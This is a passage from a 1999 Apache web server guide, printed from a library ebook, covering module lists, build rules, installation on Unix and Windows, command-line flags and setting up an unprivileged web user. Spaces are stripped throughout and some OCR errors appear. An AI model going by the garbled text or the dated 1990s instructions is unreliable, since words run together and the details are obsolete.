ThedefaultConfigurationfileincludesthemoduleslistedhere,togetherwithalotofchatandcommentthatwehaveremovedforclarity.Modulesthatarecompiled
intotheWin32corearemarkedwith"W"thosethataresuppliedasastandardWin32aremarkedDLL"WD."Ourfinallistisasfollows:
AddModulemodules/standard/mod_env.o
SetsupenvironmentvariablestobepassedtoCGIscripts.
AddModulemodules/standard/mod_log_config.o
Determinesloggingconfiguration.
AddModulemodules/standard/mod_mime_magic.o
Determinesthetypeofafile.
AddModulemodules/standard/mod_mime.o
Mapsfileextensionstocontenttypes.
AddModulemodules/standard/mod_negotiation.o
AllowscontentselectionbasedonAcceptheaders.
AddModulemodules/standard/mod_status.o(WD)
Givesaccesstoserverstatusinformation.
AddModulemodules/standard/mod_info.o
Givesaccesstoconfigurationinformation.
AddModulemodules/standard/mod_include.o
TranslatesserversideincludestatementsinCGItexts.
AddModulemodules/standard/mod_autoindex.o
Indexesdirectorieswithoutanindexfile.
AddModulemodules/standard/mod_dir.o
Handlesrequestsondirectoriesanddirectoryindexfiles.
Assumingthemodulehasbeencarefullywritten,itdoesverylittleunlessenabledinthehttpd.conffiles.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page17
AddModulemodules/standard/mod_cgi.o
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ExecutesCGIscripts.
AddModulemodules/standard/mod_asis.o
Implements.asisfiletypes.
AddModulemodules/standard/mod_imap.o
Executesimagemaps.
AddModulemodules/standard/mod_actions.o
SpecifiesCGIscriptstoactashandlersforparticularfiletypes.
AddModulemodules/standard/mod_speling.o
Correctscommonspellingmistakesinrequests.
AddModulemodules/standard/mod_userdir.o
Selectsresourcedirectoriesbyusernameandacommonprefix.
AddModulemodules/proxy/libproxy.o
AllowsApachetorunasaproxyservershouldbecommentedoutifnotneeded.
AddModulemodules/standard/mod_alias.o
ProvidessimpleURLtranslationandredirection.
AddModulemodules/standard/mod_rewrite.o(WD)
RewritesrequestedURIsusingspecifiedrules.
AddModulemodules/standard/mod_access.o
Providesaccesscontrol.
AddModulemodules/standard/mod_auth.o
Providesauthorizationcontrol.
AddModulemodules/standard/mod_auth_anon.o(WD)
ProvidesFTPstyleanonymoususernamepasswordauthentication.
AddModulemodules/standard/mod_auth_db.o
Managesadatabaseofpasswordsalternativetomod_auth_dbm.o.
AddModulemodules/standard/mod_cern_meta.o(WD)
ImplementsmetainformationfilescompatiblewiththeCERNwebserver.
AddModulemodules/standard/mod_digest.o(WD)
ImplementsHTTPdigestauthenticationmoresecurethantheothers.
AddModulemodules/standard/mod_expires.o(WD)
AppliesExpiresheaderstoresources.
AddModulemodules/standard/mod_headers.o(WD)
SetsarbitraryHTTPresponseheaders.
AddModulemodules/standard/mod_usertrack.o(WD)
Tracksusersbymeansofcookies.Itisnotnecessarytousecookies.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page18
AddModulemodules/standard/mod_unique_id.o
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
GeneratesanIDforeachhit.Maynotworkonallsystems.
AddModulemodules/standard/mod_so.o
Loadsmodulesatruntime.Experimental.
AddModulemodules/standard/mod_setenvif.o
Setsenvironmentvariablesbasedonheaderfieldsintherequest.
Herearethemoduleswecommentedout,andwhy:
#AddModulemodules/standard/mod_log_agent.o
NotrelevanthereCERNholdover.
#AddModulemodules/standard/mod_log_referer.o
NotrelevanthereCERNholdover.
#AddModulemodules/standard/mod_auth_dbm.o
Can'thaveboththisandmod_auth_db.o.Doesn'tworkwithWin32.
#AddModulemodules/example/mod_example.o
OnlyfortestingAPIs(seeChapter14,TheApacheAPI).
Thesearethe"standard"Apachemodules,approvedandsupportedbytheApacheGroupasawhole.Thereareanumberofothermodulesavailable(seeChapter
12,ExtraModules).
Althoughwe'vementionedmod_auth_db.oandmod_auth_dbm.oabove,theyprovideequivalentfunctionalityandshouldn'tbecompiledtogether.
Wehaveleftoutanymodulesdescribedasexperimental.AnydisparitybetweenthedirectiveslistedinthisbookandthelistobtainedbystartingApachewiththeh
flagisprobablycausedbytheerrantdirectivehavingmovedoutofexperimentalstatussincewewenttopress.
Lateron,whenwearewritingApacheconfigurationscripts,wecanmakethemadapttothemodulesweincludeorexcludewiththeIfModuledirective.This
allowsyoutogiveoutpredefinedConfigfilesthatalwayswork(inthesenseofApacheloading)whatevermixofmodulesisactuallycompiled.Thus,forinstance,we
canadapttotheabsenceofconfigurableloggingwiththefollowing:
<IfModuleconfig_log_module>
LogFormat"customers:host%h,logname%1,user%u,time%t,request%r,
status%s,bytes%b"
</IfModule>
Themoduledirectivesareasfollows(itwillbecomeclearlateronhowtousethem,buttheyareprintedhereforconvenience):
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page19
ClearModuleList
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ClearModuleList
ServerConfig
Clearsthelistofactivemodules.ApachethenhasnomodulesuntiltheAddModuledirectiveisrun.Thisshouldonlyconcerntheextremeseekerafterperformance.
AddModule
AddModulemodulemodule
ServerConfig
Makesthelistofmodulesactive.TheymusthavebeencompiledinwiththeAddModuleinstructioninConfiguration.
ConfigurationSettingsandRules
MostusersofApachewillnothavetobotherwiththissectionatall.However,youcanspecifyextracompilerflags(forinstance,optimizationcommands),libraries,or
includesbygivingvaluesto:
EXTRA_CFLAGS=
EXTRA_LDFLAGS=
EXTRA_LIBS=
EXTRA_INCLUDES=
Configurewilltrytoguessyouroperatingsystemandcompilertherefore,unlessthingsgowrong,youwon'tneedtouncommentandgivevaluesto:
#CC=
#OPTIM=02
#RANLIB=
TherulesintheConfigurationfileallowyoutoadaptforafewexoticconfigurationproblems.ThesyntaxofaruleinConfigurationisasfollows:
RuleRULE=value
Thepossiblevaluesareasfollows:
yes
Configuredoeswhatisrequired.
default
Configuremakesabestguess.
Anyothervalueisignored.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page20
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
TheRulesareasfollows:
STATUS
Ifyes,andConfiguredecidesthatyouareusingthestatusmodule,thenfullstatusinformationisenabled.Ifthestatusmoduleisnotincluded,yeshasnoeffect.
Thisissettoyesbydefault.
SOCKS4
SOCKSisafirewalltraversalprotocolthatrequiresclientendprocessing.Seehttp://ftp.nec.com/pub/security/socks.cstc.Ifsettoyes,besuretoaddthe
SOCKSlibrarylocationtoEXTRA_LIBSotherwise,ConfigureassumesL/usr/local/liblsocks.ThisallowsApachetomakeoutgoingSOCKSconnections,
whichisnotsomethingitnormallyneedstodo,unlessitisconfiguredasaproxy.AlthoughtheverylatestversionofSOCKSisSOCKS5,SOCKS4clientsworkfine
withit.Thisissettonobydefault.
SOCKS5
IfyouwanttouseaSOCKS5clientlibrary,youmustusethisruleratherthanSOCKS4.Thisissettonobydefault.
IRIXNIS
IfConfiguredecidesthatyouarerunningSGIIRIX,andyouareusingNIS,setthistoyes.Thisissettonobydefault.
IRINIXN32
MakeIRIXusethen32librariesratherthantheo32ones.Thisissettoyesbydefault.
PARANOID
DuringConfigure,modulescanrunshellcommands.IfPARANOIDissettoyes,itwillprintoutthecodethatthemodulesuse.Thisissettonobydefault.
ThereisagroupofrulesthatConfigurewilltrytosetcorrectly,butthatcanbeoverridden.Ifyouhavetodothis,pleaseadvisetheApacheGroupbyfillingouta
problemreportformathttp://apache.org/bugdb.cgiorbysendinganemailtoapachebugs@apache.org.Currently,thereisonlyoneruleinthisgroup:
WANTHSREGEX:
ApacheneedstobeabletointerpretregularexpressionsusingPOSIXmethods.AgoodregexpackageisincludedwithApache,butyoucanuseyourOSversionby
settingWANTSHREGEX=no,orcommentingouttherule.ThedefaultactionisnounlessoverruledbytheOS:
RuleWANTSHREGEX=default
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page21
MakingApache
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
TheINSTALLfileinthesrcsubdirectorysaysthatallwehavetodonowisruntheconfigurationscriptbytyping:
%./Configure
Youshouldseesomethinglikethisbearinginmindthatwe'reusingFreeBSD:
Usingconfigfile:Configuration
CreatingMakefile
+configuredforFreeBSDplatform
+settingCcompilertogcc
+Addingselectedmodules
ostatus_moduleusesConfigStart/End:
odbm_auth_moduleusesConfigStart/End:
odb_auth_moduleusesConfigStart/End:
oso_moduleusesConfigStart/End:
+doingsanitycheckoncompilerandoptions
CreatingMakefileinsupport
CreatingMakefileinmain
CreatingMakefileinap
CreatingMakefileinregex
CreatingMakefileinos/unix
CreatingMakefileinmodules/standard
CreatingMakefileinmodules/proxy
Thentype:
%make
Whenyourunmake,thecompilerissetinmotion,andstreamsofreassuringmessagesappearonthescreen.However,thingsmaygowrongthatyouhavetofix,
althoughthissituationcanappearmorealarmingthanitreallyis.Forinstance,inanearlierattempttoinstallApacheonanSCOmachine,wereceivedthefollowing
compileerror:
Cannotopenincludefile'sys/socket.h'
Clearly(sincesocketsareveryTCP/IPishthings),thishadtodowithTCP/IP,whichwehadnotinstalled:wedidso.Notthatthisisanybigdeal,butitillustratesthe
sortofminorproblemthatarises.Noteverythingturnsupwhereitoughtto.Ifyoufindsomethingthatreallyisnotworkingproperly,itissensibletomakeabugreport
viatheBugReportlinkintheApacheServerProjectmainmenu.Butdoreadthenotesthere.Makesurethatitisarealbug,notaconfigurationproblem,andlook
throughtheknownbuglistfirstsoasnottowasteeveryone'stime.
Theresultofmakewastheexecutablehttpd.Ifyourunitwith:
%./httpd
itcomplainsthatit:
couldnotopendocumentconfigfile/usr/local/etc/httpd/conf/httpd.conf
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page22
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Thisisnotsurprisingbecause,atthemoment,beingwhereweare,theConfigfiledoesn'texist.Beforewearefinished,wewillbecomeveryfamiliarwiththisfile.Itis
perhapsunfortunatethatithasanamesosimilartotheConfigurationfilewehavebeendealingwithhere,becauseitisquitedifferent.Wehopethatthedifference
willbecomeapparentlateron.
UnixBinaryReleases
ThefairlypainlessbusinessofcompilingApache,whichisdescribedabove,cannowbecircumventedbydownloadingaprecompiledbinaryfortheUnixofyour
choicefromhttp://apache.org/dist/binaries.Whenwewenttopress,thefollowingversionsofUnixweresupported,butcheckbeforeyoudecide(see
ftp://ftp.apache.org/bttpd/binaries.html):
alphadecosf3.0
hppa1.1hphpux
i386slackwarelinux(a.out)
i386sunsolaris2.5
i386unixwaresvr4
i386unknownbsdi2.0
i386unknownfreebsd2.1
i386unknownlinux(ELF)
i386unknownnetBSD
i386unknownsco3
i386unknownsco5
m68kappleaux3.1.1
m88kdgdgux5.4R2.01
m88knextnext
mipssgiirix5.3
mipssnisvr4
rs6000ibmaix3.2.5
sparcsunsolaris2.4
sparcsunsolaris2.5
sparcsunsunos4.1.4
sparcsunsunos4.1.3_Ul
mipsdecultirx4.4
Althoughthisrouteiseasier,youdoforfeittheopportunitytoconfigurethemodulesofyourApache,andyoulosethechancetocarryoutquiteacomplexUnix
operation,whichisinitselfinterestingandconfidenceinspiringifyouarenotveryfamiliarwiththisoperatingsystem.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page23
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
InstallingApacheUnderUnix
OncetheexcitementofgettingApachetocompileandrundieddown,wereorganizedthingsinaccordancewiththesystemdefaults.Wesimplycopiedtheexecutable
httpdtothedirectory/usr/local/bintoputitonthepath.
ApacheUnderWindows
Inourview,Win32currentlycomprisesWindows95,Windows98,andNT. Asfarasweknow,thesedifferentversionsarethesameasfarasApacheis
concerned,exceptthatunderNT,Apachecanalsoberunasaservice.PerformanceunderWin32maynotbeasgoodasunderUnix,butthiswillprobablyimprove
overcomingmonths.
SinceWin32isconsiderablymoreconsistentthanthesprawlingfamilyofUnices,andsinceitloadsextramodulesasDLLsatruntime,ratherthancompilingthemat
maketime,itispracticalfortheApacheGrouptoofferaprecompiledbinaryexecutableasthestandarddistribution.Gotohttp://www.apache.org/distandclickon
theversionyouwant,whichwillbeintheformofaselfinstalling.exefile(the.exeextensionishowyoutellwhichoneistheWin32Apache).Downloaditinto,say,
c:\tempandthenrunitfromtheWin32Startmenu'sRunoption.
TheexecutablewillcreateanApachedirectory,C:\ProgramFiles\Apache,bydefault.EverythingtodowithWin32ApachehappensinanMSDOSwindow,so
getintoawindowandtype:
>cdc:\<apachedirectory>
>dir
andyoushouldseesomethinglikethis:
VolumeindriveChasnolabel
VolumeSerialNumberis294C14EE
DirectoryofC:\apache
.<DIR>21/05/987:27.
..<DIR>21/05/987:27..
DEISLIISU12,81829/07/9815:12DeIsL1.isu
HTDOCS<DIR>29/07/9815:12htdocs
MODULES<DIR>29/07/9815:12modules
ICONS<DIR>29/07/9815:12icons
LOGS<DIR>29/07/9815:12logs
CONF<DIR>29/07/9815:12conf
CGIBIN<DIR>29/07/9815:12cgibin
ABOUT_~112,92115/07/9813:31ABOUT_APACHE
ANNOUN~13,09018/07/9823:50Announcement
KEYS22,76315/07/9813:31KEYS
LICENSE2,90731/03/9813:52LICENSE
ButnotethatneitherwenortheApacheGrouphavedonemuchwithWindows98atthetimeofwriting.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page24
APACHEEXE3,07219/07/9811:47Apache.exe
APACHE~1DLL247,80819/07/9812:11ApacheCore.dll
MAKEFI~1TMP21,02515/07/9818:03Makefile.tmpl
README2,10901/04/9813:59README
README~1TXT2,98530/05/9813:57READMENT.TXT
INSTALLDLL54,78419/07/9811:44install.dll
_DEISREGISR14729/07/9815:12_DEISREG.ISR
_ISREG32DLL40,96023/04/971:16_ISREG32.DLL
13file(s)427,389bytes
8dir(s)520,835,072bytesfree
Apache.exeistheexecutable,andApacheCore.dllisthemeatofthething.Theimportantsubdirectoriesareasfollows:
conf
WheretheConfigfilelives.
logs
Wherethelogsarekept.
htdocs
Whereyouputthematerialyourserveristogiveclients.TheApachemanualwillbefoundinasubdirectory.
modules
WheretheruntimeloadableDLLslive.
After1.3b6,leaveyouroriginalversionsoffilesinthesesubdirectoriesalone,whilecreatingnewoneswiththeaddedextension.defaultwhichyoushouldlookat.
Wewillseewhattodowithallofthisinthenextchapter.
SeethefileREADMENT.TXTforcurrentproblems.
CompilingApacheUnderWin32
Theadvanceduserwhowants,perhaps,towritehisorherownmodules(seeChapter15),willneedthesourcecode.ThiscanbeinstalledwiththeWin32versionby
choosingCustominstallation.ItcanalsobedownloadedfromthenearestmirrorApachesite(startathttp://apache.org/)asa.tar.gzfilecontainingthenormalUnix
distributionandcanbeunpackedintoanappropriatesourcedirectoryusing,forinstance,32bitWinZip,whichdealswith.tarand.gzformatfilesaswellas.zip.You
willalsoneedMicrosoft'sVisualC++Version5.Oncethesourcesandcompilerareinplace,openanMSDOSwindowandgototheApachesrcdirectory.Builda
debugversionandinstallitinto\Apachebytyping:
>nmake/fMakefile.nt_apached
>nmake/fMakefile.ntinstalld
orbuildareleaseversionbytyping:
>nmake/fMakefile.nt_apacher
>nmake/fMakefile.ntinstallr
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page25
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Thiswillbuildandinstallthefollowingfilesinandbelow\Apache\:
Apache.exe
Theexecutable
ApacheCore.dll
Themainsharedlibrary
Modules\ApacbeModule* .dll
Sevenoptionalmodules
\conf
Emptyconfigdirectory
\logs
Emptylogdirectory
ThedirectivesdescribedintherestofthebookarethesameforbothUnixandWin32,exceptthatWin32ApachecanloadmoduleDLLs.Theyneedtobeactivated
intheConfigfilebytheLoadModuledirective.Forexample,ifyouwantstatusinformation,youneedtheline:
LoadModulestatus_modulemodules/ApacheModuleStatus.dll
NoticethatwhereverComponentsarerelevantintheConfigfile,theWin32versionusesforwardslashes(''/")asinUnix,ratherthanbackslashes("\")asinMS
DOSorWindows.SincealmostalltherestofthebookappliestobothWin32andUnixwithoutdistinctionbetweenthen,wewilluse("/")inComponentswherever
theyoccur.
ApacheforWin32canalsoloadInternetServerApplications(ISAPIextensions).
ApacheUnderBS2000/OSDandAS/400
Aswewerewritingthisedition,theApachegroupannouncedportstoSiemensNixdorfmainframesrunningBS2000/OSDonanIBM390compatibleprocessorand
alsotoIBM'sAS400.Weimaginethatfewreadersofthisbookwillbeinterested,butthosethatareshouldseetheApachedocumentationfordetails.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page26
2
OurFirstWebSite
Wenowhaveashinybrightapache/httpd,readyforanything.Asweshallsee,wewillbecreatinganumberofdemonstrationwebsites.
WhatIsaWebSite?
Itmightbeagoodideatogetafirmideaofwhat,intheApachebusiness,awebsiteis:Itisadirectorysomewhereontheserver,say,/usr/www/site.for_instance.
Itcontainsatleastthreeessentialsubdirectories:
conf
ContainstheConfigfile,whichtellsApachehowtorespondtodifferentkindsofrequests
htdocs
Containsthedocuments,images,data,andsoforththatyouwanttoserveuptoyourclients
logs
Containsthelogfilesthatrecordwhathappened
MostofthisbookisaboutwritingtheConfigfile,usingApache's150orsodirectives.NothinghappensuntilyoustartApache.Iftheconfsubdirectoryisnotinthe
defaultlocation(itusuallyisn't),youneedaflagthattellsApachewhereitis.
httpdd/usr/www/site.for_instance
apachedc:/usr/www/site.for_instance
NoticethattheexecutablenamesaredifferentunderWin32andUnix.TheApacheGroupdecidedtomakethischange,despitethedifficultiesitcausesfor
documentation,because"httpd"isnotaparticularlysensiblenameforaspecificweb
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page27
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
server,and,indeed,isusedbyotherwebservers.However,itwasfeltthatthenamechangewouldcausetoomanybackwardcompatibilityissuesonUnix,andsothe
newnameisimplementedonlyonWin32.
AlsonotethattheWin32versionstillusesforwardslashesratherthanbackslashes.ThisisbecauseApacheinternallyusesforwardslashesonallplatformstherefore,
youshouldneveruseabackslashinanApacheConfigfile,regardlessoftheoperatingsystem.
Onceyoustarttheexecutable,Apacherunssilentlyinthebackground,waitingforaclient'srequesttoarriveonaporttowhichitislistening.Whenarequestarrives,
Apacheeitherdoesitsthingorfoulsupandmakesanoteinthelogfile.
Whatwecall"asite"heremayappeartotheoutsideworldasmany,perhapshundred,ofsites,becausetheConfigfilecaninvokemanyvirtualhosts.
WhenyouaretiredofthewholeWebbusiness,youkillApache(see"SettingUpaUnixServer,"laterinthischapter)andthecomputerrevertstobeingadoorstop.
Variousissuesariseinthecourseofimplementingthissimplescheme,andtherestofthisbookisanattempttodealwithsomeofthem.Aswepointedoutinthe
preface,runningawebsitecaninvolvemanyquestionsfaroutsidethescopeofthisbook.AllwedealwithhereishowtomakeApachedowhatyouwant.Weoften
havetoleavethequestionsofwhatyouwanttodoandwhyyoumightwanttodoittoahighertribunal.
Apache'sFlags
httpd(orapache)takesthefollowingflags:
Dname
Definesanamefor<IfDefine>directives.
ddirectory
SpecifiesanalternateinitialServerRootdirectory.
fComponent
SpecifiesanalternateServerConfigfile.
Cdirective
ProcessesthegivendirectivebeforereadingConfigfile(s).
cdirective
ProcessesthegivendirectiveafterreadingConfigfile(s).
vShowsversionnumber.
VShowscompilesettings.
hListsavailableConfigdirectives.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page28
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
lListscompiledmodules.
SShowsparsedsettings(currentlyonlyvhost).
tRunssyntaxtestforconfigurationfile(s).
XRunsasinglecopy.Thisisintendedfordebuggingonly,andshouldnotbe
usedotherwise.Cancauseasubstantialdelayinservicingrequests.
iInstallsApacheasanNTservice.
uUninstallsApacheasanNTservice.
sUnderNT,preventsApacheregisteringitselfasanNTservice.Ifyouare
runningunderWin95thisflagdoesnotseemessential,butitwouldbeadvisable
toincludeitanyway.ThisflagshouldbeusedwhenstartingApachefromthe
commandline,butitiseasytoforgetbecausenothinggoeswrongifyouleaveit
out.Themainadvantageisafasterstartup(omittingitcausesa30seconddelay).
kshutdown|restart
Runonanotherconsolewindow,apachekshutdownstopsApache
gracefully,andapachekrestartstopsitandrestartsitgracefully.
TheApacheGroupseemstoputinextraflagsquiteoften,soitisworthexperimentingwithapache?(orhttpd?)toseewhatyouget.
site.toddle
Youcan'tdomuchwithApachewithoutawebsitetoplaywith.Toembodyourfirstshakysteps,wecreatedsite.toddleasasubdirectory,/usr/www/site.toddle.
Sinceyoumaywanttokeepyourdemonstrationsitessomewhereelse,wenormallyrefertothispathas/.Sowewilltalkabout/site.toddle(Windowsusers,
pleasereadthisas\site.toddle).
In/site.toddle,wecreatedthethreesubdirectoriesApacheexpects:conf,logs,andhtdocs.TheREADMEfileinApache'srootdirectorystates:
Thenextstepistoedittheconfigurationfilesfortheserver.Inthesubdirectorycalledconfyoushouldfinddistributionversionsofthethreeconfigurationfiles:
srm.confdist,access.confdist,andhttpd.confdist.
AsalegacyfromNCSA,ApachewillacceptthesethreeConfigfiles.Butwestronglyadviseyoutoputeverythingyouneedinhttpd.conf,andtodeletetheother
two.ItismucheasiertomanagetheConfigfileifthereisonlyoneofthem.FromApachev1.3.4devon,thishasbecomeGroupdoctrine.Inearlierversionsof
Apache,itwasnecessarytodisablethesefilesexplicitlyoncetheyweredeleted,butinv1.3itisenoughthattheydonotexist.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page29
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
TheREADMEfilecontinueswithadviceabouteditingthesefiles,whichwewilldisregard.Infact,wedon'thavetosetaboutthisjobyet.Wewilllearnmorelater.A
simpleexpedientfornowistorunApachewithnoconfigurationandtoletitpromptusforwhatitneeds.
SettingUpaUnixServer
Wecanpointhttpdatoursitewiththedflag(noticethefullpathnametothesite.toddledirectory):
%httpdd/usr/www/site.toddle
Sinceyouwillbetypingthisalot,it'ssensibletocopyitintoascriptcalledgoin/usr/local/binbytyping:
%cat>/usr/local/bin/go
httpdd'pwd'
^d
^disshorthandforCTRLD,whichendstheinputandgetsyourpromptback.Thisgowillworkoneverysite.
Makegorunnableandrunitbytypingthefollowing(notethatyouhavetobeinthedirectory/site.toddlewhenyourungo):
%chmod+x/usr/local/bin/go
%go
ThislaunchesApacheinthebackground.Checkthatit'srunningbytypingsomethinglikethis(argumentstopsvaryfromUnixtoUnix):
%psaux
ThisUnixutilitylistsalltheprocessesrunning,amongwhichyoushouldfindseveralhttpds.
Soonerorlater,youhavefinishedtestingandwanttostopApache.Inordertodothis,youhavetogettheprocessidentity(PID)usingpsauxandexecutethe
Unixutilitykill:
%killPID
Alternatively,sinceApachewritesitsPIDinthefile/logs/httpd.pid(bydefaultseethePidFiledirective),youcanwriteyourselfalittlescript,asfollows:
kill'cat/usr/www/site.toddle/logs/httpd.pid'
OnSystemVbasedUnixsystems(asopposedtoBerkeleybased),thecommandpsefshouldhaveasimilareffect.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page30
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Youmayprefertoputmoregeneralizedversionsofthesescriptssomewhereonyourpath.Forexample,thefollowingscriptswillstartandstopaserverbasedinyour
currentdirectory.golookslikethis:
httpdd'pwd'
andstoplookslikethis:
pwd|readpath
kill'cat$path/logs/httpd.pid'
Or,ifyoudon'tplantomesswithmanydifferentconfigurations,use/src/support/apachectltostartandstopApacheinthedefaultdirectory.You
mightwanttocopyitinto/usr/local/bintogetitontothepath.Itusesthefollowingflags:
usage:./apachectl
(start|stop|restart|fullstatus|status|graceful|configtest|help)
start
Starthttpd.
stop
Stophttpd.
restart
RestarthttpdifrunningbysendingaSIGHUPorstartifnotrunning.
fullstatus
Dumpafullstatusscreenrequireslynxandmod_statusenabled.
status
Dumpashortstatusscreenrequireslynxandmod_statusenabled.
graceful
DoagracefulrestartbysendingaSIGUSR1orstartifnotrunning.
configtest
Doaconfigurationsyntaxtest.
help
Thisscreen.
Whenwetyped./go,nothingappearedtohappen,butwhenwelookedinthelogssubdirectory,wefoundafilecallederror_logwiththeentry:
[<date>]:'mod_unique_id:unabletogethostbyname("myname.my.domain")
Thisproblemwas,inourcase,duetotheoddwaywewererunningApacheandwillonlyaffectyouifyouarerunningonahostwithnoDNSoronanoperating
systemthathasdifficultydeterminingthelocalhostname.Thesolutionwastoeditthefile/etc/hostsandaddtheline:
10.0.0.2myname.my.domainmyname
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page31
where10.0.0.2istheIPnumberwewereusingfortesting.
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
However,ourtroubleswerenotyetover.Whenwereranhttpdwereceivedthefollowingerrormessage:
[<date>]couldn'tdetermineusernamefromuid
Thismeansmorethanmightatfirstappear.Wehadloggedinasroot.Becauseofthesecurityworriesoflettingoutsidersloginwithsuperuserpowers,Apache,
havingbeenstartedwithrootpermissionssothatitcanbindtoport80,hasattemptedtochangeitsuserIDto1.OnmanyUnixsystems,thisIDcorrespondstothe
usernobody:aharmlessperson.However,itseemsthatFreeBSDdoesnotunderstandthisnotion,hencetheerrormessage.
WebuserandWebgroup
Theremedyistocreateanewperson,calledwebuser,belongingtowebgroup.Thenamesareunimportant.Themainthingisthatthisusershouldbeinagroupofits
ownandshouldnotactuallybeusedbyanyoneforanythingelse.OnaFreeBSDsystem,youcanrunaddusertomakethisnewperson:
Enterusername[az09]:webuser
Enterfullname[]:webuser
Entershellbashcshdatenoshtcsh[csh]:no
Uid[somenumber]:
Logingroupwebuser[webuser]:webgroup
Logingroupis"webgroup'.q.Invitewebuserintoother
groups:guestno[no]:
Enterpassword[]:password
Youthengetthereport:
Name:webuser
Password:password
Fullname:webuser
Uid:somenumber
Groups:webgroup
HOME:/home/webuser
shell/nonexistent
OK?(y/n)[y]:
sendmessageto"webuser'and:noroutesecond_mail_address[no]:
Addanythingtodefaultmessage(y/n)[n]:
Sendmessage(y/n)[y]:n
Addanotheruser?(y/n)[y]:n
Infact,thisproblemwasfixedforFreeBSDshortlybeforethisbookwenttopress,butyoumaystillencounteritonotheroperatingsystems.
Ofcourse,youshouldneveruseapasswordasobviousasthis.Ideally,youwillarrangethatthereisnopasswordthatcanbeusedtologinasthisuser.Howthisisachieved
variesfromsystemtosystem,butcanoftenbedonebyputting inthepasswordfieldin/etc/passwd(or/etc/shadowifshadowpasswordsareinuse).
